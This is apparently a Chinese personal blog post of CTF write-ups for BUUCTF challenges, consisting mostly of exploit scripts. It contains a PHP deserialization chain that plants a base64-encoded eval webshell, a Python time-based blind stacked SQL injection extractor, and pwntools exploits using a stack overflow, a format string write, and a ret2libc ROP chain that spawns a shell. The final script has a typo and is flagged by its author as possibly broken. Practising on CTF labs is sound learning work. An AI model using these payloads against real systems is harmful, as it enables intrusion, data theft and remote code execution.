😫😫😫😫

哈哈 数据丢失了!我丢! 今天早上蓝屏了!丢!

直接放昨天写的了!

web

[EIS 2019]EzPOP

知识点:代码审计

exp

<?php

class B {


public $options = array('data_compress' => 0,'expire' => 0,'serialize'=>'strval',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/'
);

}

class A
{

public function __construct(){

$this->store = new B();
$this->autosave = 0;
$this->key = '1.php';
$this->expire = null;
$this->cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ3VwbG9hZCddKTs/Pg=="));;
$this->complete = '';
}


}

$a = new A();

echo urlencode(serialize($a));

还有一些小细节也没了!https://www.jianshu.com/p/ad9d30ee0d1d

不给就是 base64加密的时候 =号后面的不解析了! 对这个小细节要知道!

可以看这个大佬的!

[SWPU2019]Web4

知识点:sql+代码审计

还有这个小细节就是 !加分号!发现没问题!说明可以堆叠注入!

预编译堆叠注入!

https://blog.csdn.net/mochu7777777/article/details/105202300

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/15 13:45
# @Author : upload
# @File : [SWPU2019]Web4.py
# @Software: PyCharm

import requests
import time

proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}



url = "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81/index.php?r=Login/Login"
burp0_cookies = {"OUTFOX_SEARCH_USER_ID_NCOO": "1935872068.9989924", "UM_distinctid": "17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81", "Referer": "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81/index.php?r=Login/Index", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])


flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:

mid=(top+low)//2
payload1 = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1)".format(i,mid)
payload2 = "select if(ascii(substr((select flag from flag),{0},1))>{1},sleep(5),1)".format(i,mid)
json1 = {
"password": "a",
"username": "asd';set @a=0x{};prepare ctftest from @a;execute ctftest-- -".format(str_to_hex(payload1))
}
json2 = {
"password": "bbb",
"username": "asd';set @a=0x{};prepare ctftest from @a;execute ctftest-- -".format(str_to_hex(payload2))
}
# print(json1,json2)
try:
print(i, mid)
r1 = requests.post(url, json=json1, proxies=proxies,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag +=chr(mid)
print(flag)
break

# time1 = time.time();
# print(time1)
# r1 = requests.post(url, json = json1,proxies=proxies)
# print('json1')
# print(json1)
# if r1.status_code == 429:
# print("fast1\n")
# time.sleep(1)
# time2 = time.time();
# print(time2)
# if (time2 - time1) > 2.5:
# flag +=chr(mid)
# print(flag)
# break
else:
try:
r2 = requests.post(url, json = json2,proxies=proxies,timeout =3)
if r2.status_code == 429:
print("fast2\n")
time.sleep(1)

except requests.exceptions.ReadTimeout as e:
low = mid + 1
else:
top = mid - 1
if flag == f1:
break


print(flag)

pwn

jarvisoj_level0

原题

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/15 20:24
# @Author : upload
# @File : jarvisoj_level0.py
# @Software: PyCharm


from pwn import *

context(os='linux', arch='amd64', log_level='debug')

content = 0

def main():
try:
if content == 1:
upload = process("./pwn1")
else:
upload = remote("node4.buuoj.cn",25003)
except:
print("The exp is error~")

payload = ('a' * (136)).encode() #栈溢出
payload = payload + p64(0x400596) # 跳转指定函数

upload.recvuntil("Hello, World\n")
upload.sendline(payload)

upload.interactive()

main()

[第五空间2019 决赛]PWN5

知识点:格式化字符串漏洞

image-20210816113955484

exp

偏移量是10!

AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/15 21:50
# @Author : upload
# @File : [第五空间2019 决赛]PWN5.py
# @Software: PyCharm


from pwn import *

context(os="linux", arch="x86", log_level="debug")

content = 0


def main():
try:
if content == 1:
upload = process("over")
else:
upload = remote("node4.buuoj.cn", 28999)
except:
print("[!!]The exp is content error~")


addr = 0x0804C044
payload = p32(addr) + '%10$n' #偏移10位 写入4
# upload.recvuntil("Tell me something about yourself: ")
upload.recvuntil("your name:")
upload.sendline(payload)
upload.recvuntil("your passwd:")
upload.sendline('4') # 那unk_804C044就是4 这里再输入4 就可以了!
upload.interactive()

main()

文章:

https://niceseven.github.io/post/2020/02/12/buuctf-pwn-%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019-%E5%86%B3%E8%B5%9Bpwn5/

ciscn_2019_c_1

知识点:rop

rop链其实不太会的!

这个程序!加密的时候有一个栈溢出!

没给shell!那只能自己找libc!

思路:

puts函数,可以用于leak。

所以就是leak出函数地址,确定libc,之后构造ROP

和以前做的一题有点像!以前是通过write函数来leak的!

image-20210816122344690

和以前拿到题思路一样!、

1.泄露write地址,获取与libc偏移量 为什么要偏移量呢! 这里可以这样理解!就是不同libc里差值是一样的!

就是 2 - 7 和 5 - 10 2到5是3 7到10也是3 把数字看成函数就行了!

所以得到函数地址后 - libc里的函数地址就是差值!

2.得到system和/bin/sh
3.pwn
我们有write@plt和got

这里我们用put函数就行了!

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/16 13:26
# @Author : upload
# @File : aaaaaaaa.py
# @Software: PyCharm
from pwn import *
from LibcSearcher import *

#sh = remote("node4.buuoj.cn", 25264)
sh = remote('node3.buuoj.cn', 25264)
elf = ELF('./ciscn_2019_c_1')
# context.log_level = 'debug'

# start = 0x400B28
start = elf.sym['main']
rdi_addr = 0x0000000000400c83

puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
puts_got = elf.got['puts']

log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
log.success('puts_got => {}'.format(hex(puts_got)))

sh.sendlineafter('choice!\n', '1')

payload1 = 'a' * 88
payload1 += p64(rdi_addr) + p64(puts_got) + p64(puts_plt)
payload1 += p64(start)

# payload1 = dd(payload1)
sh.sendline(payload1)
gdb.attach(sh)

sh.recvuntil('@')
sh.recvline()

puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts_leak_addr => {}'.format(hex(puts_leak)))

libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

sh.sendlineafter('choice!\n', '1')

payload2 = 'a' * 88
payload2 += p64(0x4006b9) # add ret
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

sh.sendline(payload2)

sh.interactive()

这个exp不好写!太难了!🤡🤡🤡

我自己写的好像问题 !

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/16 12:26
# @Author : upload
# @File : ciscn_2019_c_1.py
# @Software: PyCharm
from pwn import *
from LibcSearcher import *
def dd(enc):
res = ''
for i in range(len(enc)):
if ord(enc[i]) <= 96 or ord(enc[i]) > 122:
if ord(enc[i]) <= 64 or ord(enc[i]) > 90:
if ord(enc[i]) > 47 or ord(enc[i]) <= 57:
res += chr(ord(enc[i]) ^ 0xf)
else:
res += chr(ord(enc[i]) ^ 0xe)
else:
res += chr(ord(enc[i]) ^ 0xd)
return res

context(os="linux", arch="amd64", log_level="debug")

# pause()
# p = process("./ciscn_2019_c_1")
p = remote("node4.buuoj.cn", 25264)
elf = ELF("./ciscn_2019_c_1")

# elf文件信息
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi = 0x0000000000400C83 #一个万能的gadget,x64程序基本都存在,pop rdi;ret;


p.sendlineafter('choice!\n', '1')

payload = 'a' * 88 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) +p64(main_addr)

p.sendline(dd(payload))
# gdb.attach(p)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

#puts 泄露p
puts_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
#libc泄露
libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh') # 查咋shell

p.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)

p.endline(payload2)
p.interactive()